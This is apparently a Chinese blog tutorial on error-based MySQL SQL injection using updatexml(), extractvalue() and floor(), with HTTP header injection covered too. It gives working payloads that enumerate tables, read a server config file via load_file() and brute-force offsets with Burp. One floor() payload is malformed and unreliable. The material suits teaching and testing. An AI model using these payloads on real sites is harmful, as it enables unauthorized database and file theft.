1. 程式人生 > 其它 >SQL注入—報錯函式

SQL注入—報錯函式

適用情況 Insert/update/delete型資料庫的處理,都是通過報錯函式進行資料注入回顯的,或者通過DNSlog注入來獲取資料。 如:註冊,修改,刪除等都屬於資料庫的上述三種操作,其中delete型需要在刪除選項處檢視網站URL,其餘兩種只需要在輸入資料處進行注入即可 常用報錯函式 1.updatexml():Mysql中對XML文件資料進行查詢和修改的XPATH函式,通過xml查詢過程中的返回的錯誤獲取報錯資訊 updatexml(xml_target, xpath, new_xml) xml_target::需要操作的xml片段,為表中欄位名 xpath:需要更新的xml路徑(xpath格式的字串) new_xml:更新後的內容 第二個引數xpath的定位必須是有效的,否則會發生錯誤。 如果Xpath傳入的是一個表示式,那麼會先把表示式執行一遍再進行報錯。 實際上第一個和第三個傳入的引數都是錯誤的,重點是第二個傳入的引數 2.extractvalue():
Mysql中對XML文件資料進行查詢的函式,通過xml查詢過程中的返回的錯誤獲取報錯資訊,並返回包含查詢值的字串 extravalue(xml_document,xpath_string) 構造XPATH定位的錯位 3.floor():Mysql中用來取整的函式,通過資料生成錯誤產生報錯資訊 基於函式報錯的資訊獲取 思路:在MySQL中使用一些指定的函式來製造報錯,從而從報錯資訊中獲取設定的資訊。select/insert/update/delete都可以使用報錯來獲取資訊。 前置條件:後臺沒有遮蔽資料庫報錯資訊,在語法發生錯誤時會輸出在前端 具體操作 1.updatexml() # 法一 admin' and updatexml(1,concat(0x7e,version()),0) #
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database())),0) # 此時出現報錯Subquery returns more than 1 row,新增限制 admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) # # 0x7e是~的十六進位制,用於顯示完整資訊,避免被吃掉,也可以在抓包中方便查詢的索引
# limit m n 表示從第m行開始,往前n位 之後可以通過修改limit的m值來檢視不同的類,其他操作以此類推,也可以通過Burp進行抓包,使用Intruder進行爆破,在limit的m值處新增爆破點,對列數進行聯絡爆破 # 解釋:admin' 與前面的單引號形成閉合,後面的註釋符註釋掉後面的單引號,由於admin是正確的語句,即已經進入資料庫內部並過濾後面的操作,所以updatexml()是正確執行, 只是第一個傳入引數和第三個傳入引數是錯誤的所以產生報錯資訊 # 法二 admin' or updatexml(1,concat(0x7e,version()),0) or' # 解釋:這裡就是or的邏輯判斷,or的特點是一真即真,admin'與前面單引號形成閉合,後面的or的單引號與之後的資料形成閉合,而之後的資料必然正確,所以第二個or為真, 即整個語句為真,所以updatexml()正常執行,剩下的和法一一致 2.extractvalue() kobe' and extractvalue(0,concat(0x7e,database())) # kobe' or extractvalue(0,concat(0x7e,database())) or' # 原理和updatexml()差不多,,只不過傳兩個引數,第一個引數錯誤,第二個引數正常 # 讀取檔案 kobe' and extractvalue(0,concat(0x7e,(select load_file("C:\phpStudy\PHPTutorial\MySQL\config.inc.php")),0x7e)) # 3.floor() kobe' and (select 2 from (select count(*),concat version(),floor(rand(0)*2) xfrom information_schema.tables group by x )a) #利用的邏輯差不多 補充 Http Header注入 有時候,後臺開發人員為了驗證客戶端頭資訊,比如常用的cookie驗證,或者通過http header頭資訊獲取客戶端的一些資訊,比如useragent,accept等會對http header資訊進行獲取並且使用SQL進行處理, 如果此時沒有足夠的安全考慮則會導致基於http header的SQL Inject漏洞。 Http header注入需要我們關注資料包與資料庫存在互動的地方,如果這種地方過濾比嚴格,閉合簡單,可以通過報錯函式注入出資料庫的資料 如:user-agent,cookie等等 總結 SQL注入的精髓在於他沒有原來回顯位,而你通過構造完成了閉合,繼而通過報錯函式的報錯資訊創造了回顯位,讓資料庫的資訊展現出來,只要閉合完成,那麼你的報錯函式正常執行,三種就都是一樣的結果